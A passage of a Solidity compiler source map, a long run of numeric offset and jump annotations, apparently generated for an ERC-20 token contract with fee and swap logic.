0;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;29139:22:0;::::1;::::0;29135:230:::1;;29245:35;::::0;-1:-1:-1;;;29245:35:0;;29274:4:::1;29245:35;::::0;::::1;1379:51:1::0;29205:6:0;;29178:17:::1;::::0;-1:-1:-1;;;;;29245:20:0;::::1;::::0;::::1;::::0;1352:18:1;;29245:35:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29227:53;;29295:10;-1:-1:-1::0;;;;;29295:19:0::1;;29315:7;4676:6:::0;;-1:-1:-1;;;;;4676:6:0;;4603:87;29315:7:::1;29295:37;::::0;-1:-1:-1;;;;;;29295:37:0::1;::::0;;;;;;-1:-1:-1;;;;;7625:32:1;;;29295:37:0::1;::::0;::::1;7607:51:1::0;7674:18;;;7667:34;;;7580:18;;29295:37:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;29135:230::-;4676:6:::0;;29375:48:::1;::::0;-1:-1:-1;;;;;4676:6:0;;;;29401:21:::1;29375:48:::0;::::1;;;::::0;::::1;::::0;;;29401:21;4676:6;29375:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;4809:1;29064:367:::0;:::o;22437:288::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;22581:13:::1;::::0;-1:-1:-1;;;;;22581:13:0;;::::1;22573:21:::0;;::::1;::::0;22551:112:::1;;;::::0;-1:-1:-1;;;22551:112:0;;8164:2:1;22551:112:0::1;::::0;::::1;8146:21:1::0;8203:2;8183:18;;;8176:30;8242:34;8222:18;;;8215:62;-1:-1:-1;;;8293:18:1;;;8286:39;8342:19;;22551:112:0::1;7962:405:1::0;22551:112:0::1;22676:41;22705:4;22711:5;22676:28;:41::i;4826:103::-:0;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;4891:30:::1;4918:1;4891:18;:30::i;:::-;4826:103::o:0;20422:121::-;4676:6;;20474:4;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;20491:14:0::1;:22:::0;;-1:-1:-1;;20491:22:0::1;::::0;;;20422:121;:::o;18335:161::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18448:33:0;;;::::1;;::::0;;;:25:::1;:33;::::0;;;;:40;;-1:-1:-1;;18448:40:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18335:161::o;18504:921::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;18623:15:::1;:34:::0;;-1:-1:-1;;;;;;18623:34:0::1;14538:42;18623:34:::0;;::::1;::::0;;;18668:58:::1;14538:42:::0;18623:34;18668:25:::1;:58::i;:::-;18767:16;-1:-1:-1::0;;;;;18767:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18755:64:0::1;;18828:4;18835:16;-1:-1:-1::0;;;;;18835:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18755:104;::::0;-1:-1:-1;;;;;;18755:104:0::1;::::0;;;;;;-1:-1:-1;;;;;8858:15:1;;;18755:104:0::1;::::0;::::1;8840:34:1::0;8910:15;;8890:18;;;8883:43;8775:18;;18755:104:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18739:13;:120:::0;;-1:-1:-1;;;;;;18739:120:0::1;-1:-1:-1::0;;;;;18739:120:0;;;::::1;::::0;;::::1;::::0;;18870:55:::1;::::0;-1:-1:-1;18870:25:0::1;:55::i;:::-;18973:13;::::0;18936:58:::1;::::0;-1:-1:-1;;;;;18973:13:0::1;::::0;18936:28:::1;:58::i;:::-;19037:15;::::0;19005:68:::1;::::0;19022:4:::1;::::0;-1:-1:-1;;;;;19037:15:0::1;-1:-1:-1::0;;19005:8:0::1;:68::i;:::-;19084:15;::::0;-1:-1:-1;;;;;19084:15:0::1;:31;19123:9;19156:4;19176:24;19156:4:::0;-1:-1:-1;;;;;8821:18:0;8789:7;8821:18;;;:9;:18;;;;;;;8670:177;19176:24:::1;19215:1;19231::::0;19247:7:::1;4676:6:::0;;-1:-1:-1;;;;;4676:6:0;;4603:87;19247:7:::1;19269:15;19084:211;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;19313:13:0::1;::::0;19358:15:::1;::::0;19306:111:::1;::::0;-1:-1:-1;;;19306:111:0;;-1:-1:-1;;;;;19358:15:0;;::::1;19306:111;::::0;::::1;7607:51:1::0;-1:-1:-1;;7674:18:1;;;7667:34;19313:13:0;::::1;::::0;-1:-1:-1;19306:29:0::1;::::0;7580:18:1;;19306:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;20270:100::-:0;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;20341:11:::1;:21:::0;;;::::1;;;;-1:-1:-1::0;;20341:21:0;;::::1;::::0;;;::::1;::::0;;20270:100::o;8341:104::-;8397:13;8430:7;8423:14;;;;;:::i;10348:482::-;4203:10;10468:4;10517:25;;;;;;;;;;;-1:-1:-1;;;;;10517:34:0;;;;;;;;;;10584:35;;;;10562:122;;;;-1:-1:-1;;;10562:122:0;;10062:2:1;10562:122:0;;;10044:21:1;10101:2;10081:18;;;10074:30;10140:34;10120:18;;;10113:62;-1:-1:-1;;;10191:18:1;;;10184:35;10236:19;;10562:122:0;9860:401:1;10562:122:0;10720:67;4203:10;10743:7;10771:15;10752:16;:34;10720:8;:67::i;:::-;-1:-1:-1;10818:4:0;;10348:482;-1:-1:-1;;;10348:482:0:o;8855:216::-;8977:4;8999:42;4203:10;9023:9;9034:6;8999:9;:42::i;19633:270::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;19773:4:::1;19765;19744:13;8541:12:::0;;;8453:108;19744:13:::1;:17;::::0;19760:1:::1;19744:17;:::i;:::-;19743:26;;;;:::i;:::-;19742:35;;;;:::i;:::-;19732:6;:45;;19710:138;;;::::0;-1:-1:-1;;;19710:138:0;;10468:2:1;19710:138:0::1;::::0;::::1;10450:21:1::0;10507:2;10487:18;;;10480:30;10546:34;10526:18;;;10519:62;-1:-1:-1;;;10597:18:1;;;10590:41;10648:19;;19710:138:0::1;10266:407:1::0;19710:138:0::1;19878:17;:6:::0;19888::::1;19878:17;:::i;:::-;19859:16;:36:::0;-1:-1:-1;19633:270:0:o;20805:497::-;4676:6;;20913:4;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;20992:6:::1;20971:13;8541:12:::0;;;8453:108;20971:13:::1;:17;::::0;20987:1:::1;20971:17;:::i;:::-;20970:28;;;;:::i;:::-;20957:9;:41;;20935:144;;;::::0;-1:-1:-1;;;20935:144:0;;10880:2:1;20935:144:0::1;::::0;::::1;10862:21:1::0;10919:2;10899:18;;;10892:30;10958:34;10938:18;;;10931:62;-1:-1:-1;;;11009:18:1;;;11002:51;11070:19;;20935:144:0::1;10678:417:1::0;20935:144:0::1;21147:4;21126:13;8541:12:::0;;;8453:108;21126:13:::1;:17;::::0;21142:1:::1;21126:17;:::i;:::-;21125:26;;;;:::i;:::-;21112:9;:39;;21090:141;;;::::0;-1:-1:-1;;;21090:141:0;;11302:2:1;21090:141:0::1;::::0;::::1;11284:21:1::0;11341:2;11321:18;;;11314:30;11380:34;11360:18;;;11353:62;-1:-1:-1;;;11431:18:1;;;11424:50;11491:19;;21090:141:0::1;11100:416:1::0;21090:141:0::1;-1:-1:-1::0;21242:18:0::1;:30:::0;21290:4:::1;::::0;20805:497::o;21868:561::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;22060:16:::1;:32:::0;;;22103:16:::1;:32:::0;;;22146:18:::1;:36:::0;;;22193:17:::1;:34:::0;;;22213:14;22167:15;22267:48:::1;22122:13:::0;22079;22267:48:::1;:::i;:::-;:82;;;;:::i;:::-;:115;;;;:::i;:::-;22238:13;:144:::0;;;22418:2:::1;-1:-1:-1::0;22401:19:0::1;22393:28;;;::::0;::::1;18192:135:::0;4676:6;;18252:4;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;18269:20:0::1;:28:::0;;-1:-1:-1;;;;18269:28:0::1;::::0;;;18192:135;:::o;4937:241::-;4676:6;;-1:-1:-1;;;;;4676:6:0;4203:10;4738:23;4730:68;;;;-1:-1:-1;;;4730:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5041:23:0;::::1;5019:111;;;::::0;-1:-1:-1;;;5019:111:0;;11723:2:1;5019:111:0::1;::::0;::::1;11705:21:1::0;11762:2;11742:18;;;11735:30;11801:34;11781:18;;;11774:62;-1:-1:-1;;;11852:18:1;;;11845:36;11898:19;;5019:111:0::1;11521:402:1::0;5019:111:0::1;5141:29;5160:9;5141:18;:29::i;13633:380::-:0;-1:-1:-1;;;;;13769:19:0;;13761:68;;;;-1:-1:-1;;;13761:68:0;;12130:2:1;13761:68:0;;;12112:21:1;12169:2;12149:18;;;12142:30;12208:34;12188:18;;;12181:62;-1:-1:-1;;;12259:18:1;;;12252:34;12303:19;;13761:68:0;11928:400:1;13761:68:0;-1:-1:-1;;;;;13848:21:0;;13840:68;;;;-1:-1:-1;;;13840:68:0;;12535:2:1;13840:68:0;;;12517:21:1;12574:2;12554:18;;;12547:30;12613:34;12593:18;;;12586:62;-1:-1:-1;;;12664:18:1;;;12657:32;12706:19;;13840:68:0;12333:398:1;13840:68:0;-1:-1:-1;;;;;13921:18:0;;;:11;:18;;;;;;;;;;;:27;;;;;;;;;;;;;:36;;;13973:32;;1587:25:1;;;13973:32:0;;1560:18:1;13973:32:0;;;;;;;13633:380;;;:::o;24195:4861::-;-1:-1:-1;;;;;24327:18:0;;24319:68;;;;-1:-1:-1;;;24319:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24406:16:0;;24398:64;;;;-1:-1:-1;;;24398:64:0;;;;;;;:::i;:::-;24477:6;24487:1;24477:11;24473:93;;24505:28;24521:4;24527:2;24531:1;24505:15;:28::i;:::-;24195:4861;;;:::o;24473:93::-;24580:14;;;;24576:2363;;;24616:8;;-1:-1:-1;;;24616:8:0;;;;24611:2317;;24650:13;;;;;;;24645:308;;-1:-1:-1;;;;;24722:26:0;;;;;;:20;:26;;;;;;;;;:83;;-1:-1:-1;;;;;;24781:24:0;;;;;;:20;:24;;;;;;;;24722:83;:137;;;-1:-1:-1;;;;;;24838:21:0;;24854:4;24838:21;24722:137;24688:245;;;;-1:-1:-1;;;24688:245:0;;13748:2:1;24688:245:0;;;13730:21:1;13787:2;13767:18;;;13760:30;-1:-1:-1;;;13806:18:1;;;13799:52;13868:18;;24688:245:0;13546:346:1;24688:245:0;25109:20;;-1:-1:-1;;;25109:20:0;;;;25105:641;;;4676:6;;-1:-1:-1;;;;;25184:13:0;;;4676:6;;25184:13;;;;:72;;-1:-1:-1;25240:15:0;;-1:-1:-1;;;;;25226:30:0;;;25240:15;;25226:30;;25184:72;:129;;;;-1:-1:-1;25299:13:0;;-1:-1:-1;;;;;25285:28:0;;;25299:13;;25285:28;;25184:129;25154:573;;;25431:9;25402:39;;;;:28;:39;;;;;;25477:12;-1:-1:-1;25364:258:0;;;;-1:-1:-1;;;25364:258:0;;14099:2:1;25364:258:0;;;14081:21:1;14138:2;14118:18;;;14111:30;14177:34;14157:18;;;14150:62;14248:34;14228:18;;;14221:62;-1:-1:-1;;;14299:19:1;;;14292:40;14349:19;;25364:258:0;13897:477:1;25364:258:0;25678:9;25649:39;;;;:28;:39;;;;;25691:12;25649:54;;25154:573;-1:-1:-1;;;;;25820:31:0;;;;;;:25;:31;;;;;;;;:86;;;;-1:-1:-1;;;;;;25877:29:0;;;;;;:25;:29;;;;;;;;25876:30;25820:86;25794:1119;;;25993:14;;25983:6;:24;;25949:157;;;;-1:-1:-1;;;25949:157:0;;14581:2:1;25949:157:0;;;14563:21:1;14620:2;14600:18;;;14593:30;14659:34;14639:18;;;14632:62;-1:-1:-1;;;14710:18:1;;;14703:45;14765:19;;25949:157:0;14379:411:1;25949:157:0;26189:16;;-1:-1:-1;;;;;8821:18:0;;8789:7;8821:18;;;:9;:18;;;;;;26163:22;;:6;:22;:::i;:::-;:42;;26129:147;;;;-1:-1:-1;;;26129:147:0;;14997:2:1;26129:147:0;;;14979:21:1;15036:2;15016:18;;;15009:30;-1:-1:-1;;;15055:18:1;;;15048:49;15114:18;;26129:147:0;14795:343:1;26129:147:0;25794:1119;;;-1:-1:-1;;;;;26374:29:0;;;;;;:25;:29;;;;;;;;:86;;;;-1:-1:-1;;;;;;26429:31:0;;;;;;:25;:31;;;;;;;;26428:32;26374:86;26348:565;;;26547:14;;26537:6;:24;;26503:158;;;;-1:-1:-1;;;26503:158:0;;15345:2:1;26503:158:0;;;15327:21:1;15384:2;15364:18;;;15357:30;15423:34;15403:18;;;15396:62;-1:-1:-1;;;15474:18:1;;;15467:46;15530:19;;26503:158:0;15143:412:1;26348:565:0;-1:-1:-1;;;;;26692:29:0;;;;;;:25;:29;;;;;;;;26687:226;;26806:16;;-1:-1:-1;;;;;8821:18:0;;8789:7;8821:18;;;:9;:18;;;;;;26780:22;;:6;:22;:::i;:::-;:42;;26746:147;;;;-1:-1:-1;;;26746:147:0;;14997:2:1;26746:147:0;;;14979:21:1;15036:2;15016:18;;;15009:30;-1:-1:-1;;;15055:18:1;;;15048:49;15114:18;;26746:147:0;14795:343:1;26746:147:0;26998:4;26949:28;8821:18;;;:9;:18;;;;;;;27035:17;27043:4;27049:2;27035:7;:17::i;:::-;27015:37;;27063:12;27102:18;;27078:20;:42;;:58;;;;27124:12;27078:58;27063:73;;27165:7;:35;;;;-1:-1:-1;27189:11:0;;;;;;;27165:35;:61;;;;-1:-1:-1;27218:8:0;;-1:-1:-1;;;27218:8:0;;;;27217:9;27165:61;:110;;;;-1:-1:-1;;;;;;27244:31:0;;;;;;:25;:31;;;;;;;;27243:32;27165:110;:154;;;;-1:-1:-1;;;;;;27293:26:0;;;;;;:20;:26;;;;;;;;27292:27;27165:154;:196;;;;-1:-1:-1;;;;;;27337:24:0;;;;;;:20;:24;;;;;;;;27336:25;27165:196;27147:330;;;27388:8;:15;;-1:-1:-1;;;;27388:15:0;-1:-1:-1;;;27388:15:0;;;27420:12;:10;:12::i;:::-;27449:8;:16;;-1:-1:-1;;;;27449:16:0;;;27147:330;27505:8;;-1:-1:-1;;;;;27528:26:0;;27489:12;27528:26;;;:20;:26;;;;;;27505:8;-1:-1:-1;;;27505:8:0;;;;;27504:9;;27528:26;27524:103;;;27571:36;27590:4;27596:2;27600:6;27571:18;:36::i;:::-;27609:7;;;;24195:4861;;;:::o;27524:103::-;-1:-1:-1;;;;;27641:26:0;;;;;;:20;:26;;;;;;;;;:54;;-1:-1:-1;;;;;;27671:24:0;;;;;;:20;:24;;;;;;;;27641:54;27637:102;;;-1:-1:-1;27722:5:0;27637:102;27749:12;27780:7;27776:1229;;;-1:-1:-1;;;;;27808:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;27857:1;27841:13;;:17;27808:50;27804:1056;;;27886:34;27916:3;27886:25;27897:13;;27886:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;27879:41;;27989:13;;27969:16;;27962:4;:23;;;;:::i;:::-;27961:41;;;;:::i;:::-;27939:18;;:63;;;;;;;:::i;:::-;;;;-1:-1:-1;;28117:13:0;;28074:18;;28067:25;;:4;:25;:::i;:::-;28066:64;;;;:::i;:::-;28021:20;;:109;;;;;;;:::i;:::-;;;;-1:-1:-1;;28199:13:0;;28179:16;;28172:23;;:4;:23;:::i;:::-;28171:41;;;;:::i;:::-;28149:18;;:63;;;;;;;:::i;:::-;;;;-1:-1:-1;;28325:13:0;;28283:17;;28276:24;;:4;:24;:::i;:::-;28275:63;;;;:::i;:::-;28231:19;;:107;;;;;;;:::i;:::-;;;;-1:-1:-1;27804:1056:0;;-1:-1:-1;27804:1056:0;;-1:-1:-1;;;;;28364:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;28414:1;28399:12;;:16;28364:51;28360:500;;;28443:33;28472:3;28443:24;28454:12;;28443:6;:10;;:24;;;;:::i;:33::-;28436:40;;28544:12;;28525:15;;28518:4;:22;;;;:::i;:::-;28517:39;;;;:::i;:::-;28495:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;28670:12:0;;28628:17;;28621:24;;:4;:24;:::i;:::-;28620:62;;;;:::i;:::-;28575:20;;:107;;;;;;;:::i;:::-;;;;-1:-1:-1;;28750:12:0;;28731:15;;28724:22;;:4;:22;:::i;:::-;28723:39;;;;:::i;:::-;28701:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;28832:12:0;;28812:16;;28805:23;;:4;:23;:::i;:::-;28804:40;;;;:::i;:::-;28781:19;;:63;;;;;;;:::i;:::-;;;;-1:-1:-1;;28360:500:0;28878:8;;28874:91;;28907:42;28923:4;28937;28944;28907:15;:42::i;:::-;28979:14;28989:4;28979:14;;:::i;:::-;;;27776:1229;29015:33;29031:4;29037:2;29041:6;29015:15;:33::i;:::-;24308:4748;;;;;24195:4861;;;:::o;22733:186::-;-1:-1:-1;;;;;22816:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;22816:39:0;;;;;;;;;;22871:40;;22816:39;;:31;22871:40;;;22733:186;;:::o;5186:194::-;5280:6;;;-1:-1:-1;;;;;5297:18:0;;;-1:-1:-1;;;;;;5297:18:0;;;;;;;5331:41;;5280:6;;;5297:18;5280:6;;5331:41;;5261:16;;5331:41;5250:130;5186:194;:::o;10838:770::-;-1:-1:-1;;;;;10978:20:0;;10970:70;;;;-1:-1:-1;;;10970:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11059:23:0;;11051:71;;;;-1:-1:-1;;;11051:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11219:17:0;;11195:21;11219:17;;;:9;:17;;;;;;11269:23;;;;11247:111;;;;-1:-1:-1;;;11247:111:0;;15895:2:1;11247:111:0;;;15877:21:1;15934:2;15914:18;;;15907:30;15973:34;15953:18;;;15946:62;-1:-1:-1;;;16024:18:1;;;16017:36;16070:19;;11247:111:0;15693:402:1;11247:111:0;-1:-1:-1;;;;;11394:17:0;;;;;;;:9;:17;;;;;;11414:22;;;11394:42;;11458:20;;;;;;;;:30;;11430:6;;11394:17;11458:30;;11430:6;;11458:30;:::i;:::-;;;;;;;;11523:9;-1:-1:-1;;;;;11506:35:0;11515:6;-1:-1:-1;;;;;11506:35:0;;11534:6;11506:35;;;;1587:25:1;;1575:2;1560:18;;1441:177;11506:35:0;;;;;;;;11554:46;24195:4861;23064:526;-1:-1:-1;;;;;23158:38:0;;23138:4;23158:38;;;:25;:38;;;;;;;;23154:192;;;23238:9;23217:31;;;;:20;:31;;;;;;;;:56;;;;-1:-1:-1;23252:9:0;-1:-1:-1;;;;;23252:21:0;;;;23217:56;23213:122;;;23294:14;:25;;-1:-1:-1;;;;;;23294:25:0;-1:-1:-1;;;;;23294:25:0;;;;;23213:122;-1:-1:-1;;;;;23352:30:0;;;;;;:20;:30;;;;;;;;23351:31;:63;;;;-1:-1:-1;23386:14:0;;-1:-1:-1;;;;;23386:14:0;:28;;23351:63;:114;;;;-1:-1:-1;;;;;;23432:33:0;;;;;;:20;:33;;;;;;;;23431:34;23351:114;23347:213;;;23490:14;;23479:65;;-1:-1:-1;;;23479:65:0;;-1:-1:-1;;;;;16366:15:1;;;23479:65:0;;;16348:34:1;16418:15;;;16398:18;;;16391:43;23490:14:0;16450:18:1;;;16443:34;23490:14:0;;;;23479:39;;16283:18:1;;23479:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23553:5;23546:12;;;;23347:213;-1:-1:-1;23577:5:0;23064:526;;;;:::o;29439:2083::-;29524:4;29480:23;8821:18;;;:9;:18;;;;;;29480:50;;29541:25;29673:19;;29637:20;;29603:18;;29569;;:52;;;;:::i;:::-;:88;;;;:::i;:::-;:123;;;;:::i;:::-;29541:151;-1:-1:-1;29703:12:0;29732:20;;;:46;;-1:-1:-1;29756:22:0;;29732:46;29728:85;;;29795:7;;;29439:2083::o;29728:85::-;29847:18;;:23;;29868:2;29847:23;:::i;:::-;29829:15;:41;29825:115;;;29905:18;;:23;;29926:2;29905:23;:::i;:::-;29887:41;;29825:115;30001:23;30114:1;30081:17;30046:18;;30028:15;:36;;;;:::i;:::-;30027:71;;;;:::i;:::-;:88;;;;:::i;:::-;30001:114;-1:-1:-1;30126:26:0;30155:36;:15;30001:114;30155:19;:36::i;:::-;30126:65;-1:-1:-1;30232:21:0;30266:36;30126:65;30266:16;:36::i;:::-;30315:18;30336:44;:21;30362:17;30336:25;:44::i;:::-;30315:65;;30393:18;30414:81;30467:17;30414:34;30429:18;;30414:10;:14;;:34;;;;:::i;:81::-;30393:102;;30506:25;30534:83;30589:17;30534:36;30549:20;;30534:10;:14;;:36;;;;:::i;:83::-;30506:111;;30628:24;30655:82;30709:17;30655:35;30670:19;;30655:10;:14;;:35;;;;:::i;:82::-;30628:109;-1:-1:-1;30750:23:0;30628:109;30828:17;30776:36;30802:10;30776;:36;:::i;:::-;:69;;;;:::i;:::-;:101;;;;:::i;:::-;30911:1;30890:18;:22;;;30923:18;:22;;;30956:20;:24;;;30991:19;:23;;;31049:21;;31041:65;;30750:127;;-1:-1:-1;;;;;;31049:21:0;;31084:17;;31041:65;30911:1;31041:65;31084:17;31049:21;31041:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;31027:79:0;;-1:-1:-1;;31123:19:0;;;;;:42;;;31164:1;31146:15;:19;31123:42;31119:278;;;31182:46;31195:15;31212;31182:12;:46::i;:::-;31352:18;;31248:137;;;16900:25:1;;;16956:2;16941:18;;16934:34;;;16984:18;;;16977:34;;;;31248:137:0;;;;;;16888:2:1;31248:137:0;;;31119:278;31429:21;;31421:93;;-1:-1:-1;;;;;31429:21:0;;;;31464;;31421:93;;;;31464:21;31429;31421:93;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;;;;;;;29439:2083:0:o;12513:513::-;-1:-1:-1;;;;;12730:17:0;;12706:21;12730:17;;;:9;:17;;;;;;12766:9;12758:22;;;;-1:-1:-1;;;12758:22:0;;17224:2:1;12758:22:0;;;17206:21:1;-1:-1:-1;17243:18:1;;;17236:29;17282:18;;12758:22:0;17022:284:1;2819:98:0;2877:7;2904:5;2908:1;2904;:5;:::i;:::-;2897:12;2819:98;-1:-1:-1;;;2819:98:0:o;2925:::-;2983:7;3010:5;3014:1;3010;:5;:::i;3137:98::-;3195:7;3222:5;3226:1;3222;:5;:::i;23598:589::-;23748:16;;;23762:1;23748:16;;;;;;;;23724:21;;23748:16;;;;;;;;;;-1:-1:-1;23748:16:0;23724:40;;23793:4;23775;23780:1;23775:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23775:23:0;;;:7;;;;;;;;;;:23;;;;23819:15;;:22;;;-1:-1:-1;;;23819:22:0;;;;:15;;;;;:20;;:22;;;;;23775:7;;23819:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23809:4;23814:1;23809:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;23809:32:0;;;:7;;;;;;;;;:32;23886:15;;23854:62;;23871:4;;23886:15;23904:11;23854:8;:62::i;:::-;23955:15;;:224;;-1:-1:-1;;;23955:224:0;;-1:-1:-1;;;;;23955:15:0;;;;:66;;:224;;24036:11;;23955:15;;24106:4;;24133;;24153:15;;23955:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23653:534;23598:589;:::o;31530:521::-;31710:15;;31678:62;;31695:4;;-1:-1:-1;;;;;31710:15:0;31728:11;31678:8;:62::i;:::-;31783:15;;:260;;-1:-1:-1;;;31783:260:0;;-1:-1:-1;;;;;31783:15:0;;;;:31;;31822:9;;31783:260;;31855:4;;31875:11;;31783:15;;;;31995:6;;32017:15;;31783:260;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;31530:521;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1623:180::-;1682:6;1735:2;1723:9;1714:7;1710:23;1706:32;1703:52;;;1751:1;1748;1741:12;1703:52;-1:-1:-1;1774:23:1;;1623:180;-1:-1:-1;1623:180:1:o;1808:118::-;1894:5;1887:13;1880:21;1873:5;1870:32;1860:60;;1916:1;1913;1906:12;1931:382;1996:6;2004;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;2112:9;2099:23;2131:31;2156:5;2131:31;:::i;:::-;2181:5;-1:-1:-1;2238:2:1;2223:18;;2210:32;2251:30;2210:32;2251:30;:::i;:::-;2300:7;2290:17;;;1931:382;;;;;:::o;2318:456::-;2395:6;2403;2411;2464:2;2452:9;2443:7;2439:23;2435:32;2432:52;;;2480:1;2477;2470:12;2432:52;2519:9;2506:23;2538:31;2563:5;2538:31;:::i;:::-;2588:5;-1:-1:-1;2645:2:1;2630:18;;2617:32;2658:33;2617:32;2658:33;:::i;:::-;2318:456;;2710:7;;-1:-1:-1;;;2764:2:1;2749:18;;;;2736:32;;2318:456::o;2987:385::-;3073:6;3081;3089;3097;3150:3;3138:9;3129:7;3125:23;3121:33;3118:53;;;3167:1;3164;3157:12;3118:53;-1:-1:-1;;3190:23:1;;;3260:2;3245:18;;3232:32;;-1:-1:-1;3311:2:1;3296:18;;3283:32;;3362:2;3347:18;3334:32;;-1:-1:-1;2987:385:1;-1:-1:-1;2987:385:1:o;3566:247::-;3625:6;3678:2;3666:9;3657:7;3653:23;3649:32;3646:52;;;3694:1;3691;3684:12;3646:52;3733:9;3720:23;3752:31;3777:5;3752:31;:::i;3818:241::-;3874:6;3927:2;3915:9;3906:7;3902:23;3898:32;3895:52;;;3943:1;3940;3933:12;3895:52;3982:9;3969:23;4001:28;4023:5;4001:28;:::i;4288:388::-;4356:6;4364;4417:2;4405:9;4396:7;4392:23;4388:32;4385:52;;;4433:1;4430;4423:12;4385:52;4472:9;4459:23;4491:31;4516:5;4491:31;:::i;:::-;4541:5;-1:-1:-1;4598:2:1;4583:18;;4570:32;4611:33;4570:32;4611:33;:::i;4681:356::-;4883:2;4865:21;;;4902:18;;;4895:30;4961:34;4956:2;4941:18;;4934:62;5028:2;5013:18;;4681:356::o;5383:380::-;5462:1;5458:12;;;;5505;;;5526:61;;5580:4;5572:6;5568:17;5558:27;;5526:61;5633:2;5625:6;5622:14;5602:18;5599:38;5596:161;;5679:10;5674:3;5670:20;5667:1;5660:31;5714:4;5711:1;5704:15;5742:4;5739:1;5732:15;5596:161;;5383:380;;;:::o;5768:127::-;5829:10;5824:3;5820:20;5817:1;5810:31;5860:4;5857:1;5850:15;5884:4;5881:1;5874:15;5900:168;5973:9;;;6004;;6021:15;;;6015:22;;6001:37;5991:71;;6042:18;;:::i;6073:217::-;6113:1;6139;6129:132;;6183:10;6178:3;6174:20;6171:1;6164:31;6218:4;6215:1;6208:15;6246:4;6243:1;6236:15;6129:132;-1:-1:-1;6275:9:1;;6073:217::o;7114:125::-;7179:9;;;7200:10;;;7197:36;;;7213:18;;:::i;7244:184::-;7314:6;7367:2;7355:9;7346:7;7342:23;7338:32;7335:52;;;7383:1;7380;7373:12;7335:52;-1:-1:-1;7406:16:1;;7244:184;-1:-1:-1;7244:184:1:o;7712:245::-;7779:6;7832:2;7820:9;7811:7;7807:23;7803:32;7800:52;;;7848:1;7845;7838:12;7800:52;7880:9;7874:16;789